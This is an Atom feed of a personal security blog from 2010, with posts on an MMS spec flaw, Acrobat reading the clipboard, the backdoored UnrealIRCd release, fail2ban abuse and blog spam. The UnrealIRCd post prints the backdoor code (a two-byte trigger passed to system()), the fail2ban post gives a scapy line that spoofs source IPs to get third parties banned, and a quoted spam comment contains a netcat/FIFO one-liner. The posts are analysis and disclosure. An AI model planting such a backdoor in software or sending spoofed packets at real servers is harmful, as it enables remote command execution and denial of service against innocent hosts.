<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet href="/blog/templates/default/atom.css" type="text/css" ?>

<feed 
   xmlns="http://www.w3.org/2005/Atom"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/">
    <link href="http://nion.modprobe.de/blog/feeds/atom.xml" rel="self" title="nion's blog" type="application/atom+xml" />
    <link href="http://nion.modprobe.de/blog/"                        rel="alternate"    title="nion's blog" type="text/html" />
    <link href="http://nion.modprobe.de/blog/rss.php?version=2.0"     rel="alternate"    title="nion's blog" type="application/rss+xml" />
    <title type="html">nion's blog</title>
    <subtitle type="html">Imagine a cool title here</subtitle>
    <icon>http://nion.modprobe.de/blog/templates/default/img/s9y_banner_small.png</icon>
    <id>http://nion.modprobe.de/blog/</id>
    <updated>2010-07-28T14:56:54Z</updated>
    <generator uri="http://www.s9y.org/" version="1.3">Serendipity 1.3 - http://www.s9y.org/</generator>
    <dc:language>en</dc:language>
    <admin:errorReportsTo rdf:resource="mailto:nion@modprobe.de" />

    <entry>
        <link href="http://nion.modprobe.de/blog/archives/694-protocol-design-fail-MMS-notification.html" rel="alternate" title="protocol design fail: MMS notification" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-07-28T14:37:23Z</published>
        <updated>2010-07-28T14:56:54Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=694</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=694</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/694-guid.html</id>
        <title type="html">protocol design fail: MMS notification</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I was just looking into some specifications of the <a href="http://www.openmobilealliance.org/">openmobilealliance</a> when I got the content for todays WTF moment.<br />
An <a href="http://en.wikipedia.org/wiki/Multimedia_Messaging_Service">MMS</a> notification is usually sent over <a href="http://en.wikipedia.org/wiki/SMS">SMS</a> and encodes various fields including the location of where the MMS content is located so the mobile phone can download it via e.g. <a href="http://en.wikipedia.org/wiki/Wireless_Application_Protocol">WAP</a>.<br />
<br />
Now looking at WAP-209-MMSEncapsulation-20020105-a chapter 6.2. (Multimedia Message Notification) there's an interesting header field included in these notifications, <strong>X-Mms -Message-Size</strong><blockquote>Mandatory.<br />
Full size of message in octets. The value of this header<br />
field could be based on approximate calculation,<br />
therefore it SHOULD NOT be used as a reason to reject<br />
the MM.</blockquote>Clearly the people who developed this must have taken some bad drugs. Adding a length field value to a header and allow it to be based on an approximation rather than an exact value just doesn't explain itself to me.<br />
 
            </div>
        </content>
        <dc:subject>fail</dc:subject>
<dc:subject>phone</dc:subject>
<dc:subject>sms</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>specs</dc:subject>
<dc:subject>wtf</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/693-acrobat-reader-stealing-my-passwords.html" rel="alternate" title="acrobat reader stealing my passwords" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-06-29T18:24:30Z</published>
        <updated>2010-06-29T18:24:30Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=693</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=693</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/693-guid.html</id>
        <title type="html">acrobat reader stealing my passwords</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I know there is some setting in adobe acrobat reader to switch of monitoring of the <a href="http://www.x.org">X</a> paste buffer (which I couldn't find now) and it seems one really wants that. I was very surprised today when I tried to paste a password using <a href="http://nsd.dyndns.org/pwsafe/">pwsafe</a> and observed the following:<br />
<i>$ pwsafe -p fandango<br />
Enter passphrase for /home/nion/.pwsafe.dat:<br />
You are ready to paste the password for hosts.fandango from PRIMARY and CLIPBOARD<br />
Press any key when done<br />
<strong>Sending password for hosts.fandango to acroread@hostname via CLIPBOARD</strong></i><br />
<br />
So apparently acrobat reader is stealing my password from the X paste buffer if the application is running. Especially given all the javascript, malicious pdf file kungfu that is around these days I of course don't find this very amusing.<br />
<br />
Lesson learned: Use xpdf whenever I can even though it really lacks features :/<br />
<br />
<br />
 
            </div>
        </content>
        <dc:subject>pdf</dc:subject>
<dc:subject>pwsafe</dc:subject>
<dc:subject>rant</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>software</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/692-UnrealIRCd-backdoored.html" rel="alternate" title="UnrealIRCd backdoored" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-06-12T16:22:55Z</published>
        <updated>2010-06-13T12:18:59Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=692</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=692</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/692-guid.html</id>
        <title type="html">UnrealIRCd backdoored</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                The <a href="http://www.unrealircd.com">UnrealIRCd</a> team has just published an advisory <a href="http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt">advisory</a> stating their release has been backdoored. From the advisory:<blockquote>We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been<br />
replaced quite a while ago with a version with a backdoor (trojan) in it.<br />
This backdoor allows a person to execute ANY command with the privileges of<br />
the user running the ircd. The backdoor can be executed regardless of any user<br />
restrictions (so even if you have passworded server or hub that doesn't allow<br />
any users in).<br />
<br />
It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.</blockquote><br />
I'm personally not using this software but this is probably a shock for lots of sysadmins as this is one of the most popular IRC server applications. The last sentence of this quote is the most shocking to me. This slipped through the cracks for about <strong>8 months</strong> without being noticed! This shows <a href="http://thread.gmane.org/gmane.mail.squirrelmail.announce/35">yet another time</a> that upstream developers need to think about providing ways to allow users to properly verify the integrity of their releases and (which is probably more important) <strong>users need to verify what they download</strong>. There is no point in md5 and friends being broken if nobody cares for hashes anyway.<br />
<br />
The UnrealIRCd people seemed to have learned their lesson and will start PGP/GPG signing their releases from now on. Hopefully their users verify their tarballs then.<br />
So what was the backdoor exactly about? It didn't take me much time to find a backdoored tarball, "gladly" there are still lots of websites mirroring backdoored tarballs.<br />
<br />
The backdoor is pretty small, simple and efficient, a full diff can be found <a href="http://nion.modprobe.de/unrealircd-backdoor.diff">here</a>.<br />
Only two files have been modified, the first one is the important one: s_bsc.c, function read_packet():<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> read_packet<span style="color: #009900;">&#40;</span>aClient <span style="color: #339933;">*</span>cptr<span style="color: #339933;">,</span> fd_set <span style="color: #339933;">*</span>rfd<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #993333;">int</span> &#160;dolen <span style="color: #339933;">=</span> 0<span style="color: #339933;">,</span> length <span style="color: #339933;">=</span> 0<span style="color: #339933;">,</span> done<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; time_t now <span style="color: #339933;">=</span> TStime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>FD_ISSET<span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>fd<span style="color: #339933;">,</span> rfd<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>IsPerson<span style="color: #009900;">&#40;</span>cptr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> DBufLength<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>cptr<span style="color: #339933;">-&gt;</span>recvQ<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> 6090<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Hook <span style="color: #339933;">*</span>h<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; SET_ERRNO<span style="color: #009900;">&#40;</span>0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#ifdef USE_SSL</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>flags <span style="color: #339933;">&amp;</span> FLAGS_SSL<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; length <span style="color: #339933;">=</span> ircd_SSL_read<span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">,</span> readbuf<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>readbuf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">else</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#endif</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; length <span style="color: #339933;">=</span> recv<span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>fd<span style="color: #339933;">,</span> readbuf<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>readbuf<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> 0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; cptr<span style="color: #339933;">-&gt;</span>lasttime <span style="color: #339933;">=</span> now<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>lasttime <span style="color: #339933;">&gt;</span> cptr<span style="color: #339933;">-&gt;</span>since<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; cptr<span style="color: #339933;">-&gt;</span>since <span style="color: #339933;">=</span> cptr<span style="color: #339933;">-&gt;</span>lasttime<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; cptr<span style="color: #339933;">-&gt;</span>flags <span style="color: #339933;">&amp;=</span> ~<span style="color: #009900;">&#40;</span>FLAGS_PINGSENT <span style="color: #339933;">|</span> FLAGS_NONL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;<span style="color: #666666; font-style: italic;">// If not ready, fake it so it isnt closed</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>length <span style="color: #339933;">&lt;</span> 0 <span style="color: #339933;">&amp;&amp;</span> ERRNO <span style="color: #339933;">==</span> P_EWOULDBLOCK<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>length <span style="color: #339933;">&lt;=</span> 0<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> length<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#ifdef DEBUGMODE3</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>memcmp<span style="color: #009900;">&#40;</span>readbuf<span style="color: #339933;">,</span> DEBUGMODE3_INFO<span style="color: #339933;">,</span> 2<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; DEBUG3_LOG<span style="color: #009900;">&#40;</span>readbuf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#endif</span></div></li></ol></div><br />
This is <u>the</u> important function to handle client connection data and processes all client data. the modification are the 4 lines at the end.<br />
The code is simple. The first two bytes of readbuf are compared with DEBUGMODE3_INFO. readbuf is used a few lines before to read data from the client connection. So basically this introduces a new irc "command" DEBUGMODE3_INFO.<br />
DEBUGMODE3_INFO is defined as <strong>AB</strong> in include/struct.h. If the received bytes match AB DEBUG3_LOG is called with the read buffer as argument. DEBUG3_LOG is just another macro that resolves to DEBUG3_DOLOG_SYSTEM (defined in the same file) which looks like:<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#define DEBUG3_DOLOG_SYSTEM(x) system(x)</span></div></li></ol></div><br />
So this allows an attacker to connect to the irc server and execute arbitrary commands by using the AB comment. This is probably the most simple backdoor one can think of but it's rather efficient and unlikely to be hit by accident from a client. Bad days for UnrealIRCd and there are still many servers out there which are probably backdoored this way, at least it didn't cost me much time to find some :/<br />
 
            </div>
        </content>
        <dc:subject>analysis</dc:subject>
<dc:subject>backdoor</dc:subject>
<dc:subject>fail</dc:subject>
<dc:subject>irc</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>software</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/691-fail-of-the-day-opera.html" rel="alternate" title="fail of the day: opera" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-06-08T22:40:53Z</published>
        <updated>2010-06-08T22:40:53Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=691</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=691</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/691-guid.html</id>
        <title type="html">fail of the day: opera</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I occasionally make use of the report function in opera in case it crashes (which happens quite often on 64bit for me), but if it crashes right when receiving the response<br />
of the crash reporting website you really start to HATE that piece of software.<br />
<br />
<img src="http://nion.modprobe.de/bimg/opera.png"><br />
(notice Last visited URL)<br />
<br />
FAIL! (using 0.60-6351)<br />
 
            </div>
        </content>
        <dc:subject>bugs</dc:subject>
<dc:subject>frustration</dc:subject>
<dc:subject>opera</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>web</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/690-fail2ban-+-dns-fail.html" rel="alternate" title="fail2ban + dns = fail" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-05-26T20:35:53Z</published>
        <updated>2010-05-27T12:53:30Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=690</wfw:comment>
    
        <slash:comments>4</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=690</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/690-guid.html</id>
        <title type="html">fail2ban + dns = fail</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <a href="http://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</a> is used by many people to prevent certain types of <a href="http://en.wikipedia.org/wiki/DoS">DoS</a> attacks. I use it myself to <a href="http://nion.modprobe.de/blog/archives/587-defeating-trackback-spam.html">reduce trackback spam</a> a little bit.<br />
<br />
While this tool becomes quite handy in such situations it is also not generally recommend because you can shoot yourself in the foot. If one of the used filters has a bug and results in incorrect parsing your fail2ban installation might end up banning arbitrary IP addresses or even your own IP range (not even mentioning IP spoofing).<br />
There existed at least <a href="http://secunia.com/advisories/23237/">two</a> <a href="http://secunia.com/advisories/33890/">bugs</a> of this kind to my knowledge and since regex might not always be easy I'm sure there will be more in the future.<br />
<br />
Since I didn't want to look for a specific regex bug in one of the filters I thought about IP spoofing again and looked at fail2bans filters. What I needed was a filter processing log entries of a service listening on a <a href="http://en.wikipedia.org/wiki/UDP">UDP</a> socket as TCP/IP spoofing over the internet doesn't really work well these days. Finding such a filter would mean an instant win situation. To my surprise there is such a filter: <strong>config/filter.d/named.conf</strong><br />
<br />
This filter is used to parse log entries consisting of denied DNS queries produced by <a href="http://www.isc.org/software/bind">bind</a>. Interestingly there is even an article at <a href="http://www.debian-administration.org/article/Blocking_a_DNS_DDOS_using_the_fail2ban_package">debian-administration</a> describing how to setup fail2ban to mitigate a <a href="http://isc.sans.org/diary.html?storyid=5713">DNS DDoS attack</a>. This is of course a bad idea and I have no idea why this filter is shipped in a default fail2ban installation. DoSing abritary IP addresses with this filter in use becomes as easy as firing up <a href="http://www.secdev.org/projects/scapy/">scapy</a> and querying the server with a forged source IP:<br />
<br />
>>> send(IP(dst="81.169.172.197",src="xx.46.63.71")/UDP()/DNS(rd=1,qd=DNSQR(qname="foao.modprobe.de")))<br />
.<br />
Sent 1 packets.<br />
<br />
This ends up as:<br />
May 26 22:32:22 modprobe named[30245]: client xx.46.63.71#53: query 'foao.modprobe.de/A/IN' denied<br />
<br />
in the bind logs which in turn results in:<br />
2010-05-26 22:32:05,551 fail2ban.actions: WARNING [named-refused] Ban xx.46.63.71<br />
<br />
In this example the spoofed IP was xx.46.63.71 which is not under my control.<br />
<br />
Mission statement: don't use fail2ban unless you really want to shoot yourself in the foot or know pretty well what you're doing <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> 
            </div>
        </content>
        <dc:subject>configuration</dc:subject>
<dc:subject>debian</dc:subject>
<dc:subject>fail</dc:subject>
<dc:subject>fail2ban</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>software</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/688-evolution-of-spam-or-WTF-is-this!.html" rel="alternate" title="evolution of spam or WTF is this!" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-03-19T22:37:42Z</published>
        <updated>2010-03-20T15:02:39Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=688</wfw:comment>
    
        <slash:comments>2</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=688</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/688-guid.html</id>
        <title type="html">evolution of spam or WTF is this!</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                It is possible with <a href="http://www.s9y.org">s9y</a> to moderate blog comments after a certain amount of time has passed since the article was published.<br />
A while back I got the following mail to approve a blog comment (I stripped the url and email address to not support the spam):<blockquote><strong>Mon, 19 Oct 2009 12:18:02 +0200 (CEST)</strong><br />
A new comment has been posted on your blog "nion's blog", to the entry entitled "security of scponly/sftp-server in combination with apache".<br />
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html<br />
<br />
Requires review: Yes (Auto-moderation after X days)<br />
User IP-address: 24.123.215.XXX<br />
User Name: SomeSpammer<br />
User Email: webmaster@somespammer.com<br />
User Homepage: http://www.somespammer.com<br />
<br />
Comments:<br />
Very interesting, seems so simple when you explain it like that..  nice one</blockquote><br />
This is quite obviously a spam comment to increase google ranks or site links in general.<br />
<br />
Today I got a new comment:<blockquote><br />
<strong>Fri, 19 Mar 2010 02:35:54 +0200 (CEST)</strong><br />
A new comment has been posted on your blog "nion's blog", to the entry entitled "security of scponly/sftp-server in combination with apache".<br />
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html<br />
<br />
Requires review: Yes (Auto-moderation after X days)<br />
User IP-address: 96.30.18.XXX<br />
User Name: SomeSpammer<br />
User Email: webmaster@somespammer.com<br />
User Homepage: http://www.somespammer.com/<br />
<br />
Comments:<br />
Weird.. I found myself back here!  small world. Reminds of this one from the commmandline kung fu of wietse.<br />
<br />
( ( mkfifo ~/nc-feef &amp;&amp; ( ( nc -v -l -p 22123 127.0.0.1 &gt; ~/out ) &amp; ) &amp;&amp; ( ( cat /tmp/ncf | nc 127.0.0.1 22123 ) &amp; ) &amp;&amp; script -f ~/nc-feef ) &amp; )</blockquote><br />
<br />
This comment is pointing to the same spammer site. Now comparing this comment to the first one at the first glance it seems even related to the blog post! Thinking of "wietse" the name <a href="http://en.wikipedia.org/wiki/Wietse_Venema">Wietse Venema</a> (author of postfix) pops up, so this also familiar.<br />
<br />
Though opening a fifo in the home directory, a netcat listening tcp port on localhost with the output redirected to a file and then some tmp file piped to the listening port (thus writing the file) and attaching script to the FIFO doesn't really make sense?! Not that this is usually the case with spam, but wtf this is everything but obviously spam. If you have a blog that is commented highly frequent it might be a problem to sort that out and spot that even if it's not interesting to you. This is the difference to email, if it's spam, you don't notice but it's also not interesting you will just delete the mail. Using a blog you might approve such a comment as it might be interesting for another reader and you don't have time to read that in detail.<br />
<br />
So this spam hit me 6 months after the first attempt again! It's interesting to see how spam evolves over time, this one clearly has been improved.<br />
<br />
Now spam bots are producing code. This is scary. It will be interesting to see if and what comment I get from the guy on this article <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
 
            </div>
        </content>
        <dc:subject>blogging</dc:subject>
<dc:subject>internet</dc:subject>
<dc:subject>spam</dc:subject>
<dc:subject>wtf</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/687-if-you-type-google-into-google....html" rel="alternate" title="if you type google into google..." />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-03-17T22:04:27Z</published>
        <updated>2010-03-17T22:04:27Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=687</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=687</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/687-guid.html</id>
        <title type="html">if you type google into google...</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                ... or you search for <strong>int main(int argn, char **argc)</strong> (I was looking for source code snippets that do not use the typical int argc, char **argv names) the <a href="http://www.google.com/codesearch?q=int+main%28int+argn%2C+char+%2A%2Aargc%29&hl=en">google code search</a> behaves rather strangely.<br />
<br />
The first result you get is:<br />
<img src="http://nion.modprobe.de/bimg/codesearch1.png" /><br />
<br />
this is not too surprising as the google code search features regexes and * is a reserved symbol in POSIX extended regular expressions but at least the recommendation of <strong>int argn, char "main(int" "**argc)"</strong> is a bit surprising.<br />
<br />
Searching for this actually results in a function that matches the string you wanted to search for originally. So far so good, I didn't look into the codesearch syntax in detail, so this might make sense.<br />
The result looks like:<br />
<img src="http://nion.modprobe.de/bimg/codesearch2.png" /><br />
i<br />
Note that the result has 9 pages (the screenshot is missing this detail) but also only 9 results. The first question that arises is: Why do they only display one result on the page instead of n (usually they do display more)?<br />
<br />
Looking at the other pages it becomes confusing. On page 2 this looks like:<br />
<img src="http://nion.modprobe.de/bimg/codesearch4.png" /><br />
<br />
Now where have pages 4-9 been gone? Ok, to be fair, google sometimes strips additional search results if the content is too similar, this is not too surprising.<br />
<br />
But then, visiting page 3 you get:<br />
<img src="http://nion.modprobe.de/bimg/codesearch3.png" /><br />
<br />
Tada, pages are there again! <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
At this point I am/was totally confused and am really wondering what the idea behind this behaviour is.<br />
If someone is using the google codesearch more frequently (or even is a google employer) please enlighten me! <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/tongue.png" alt=":-P" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
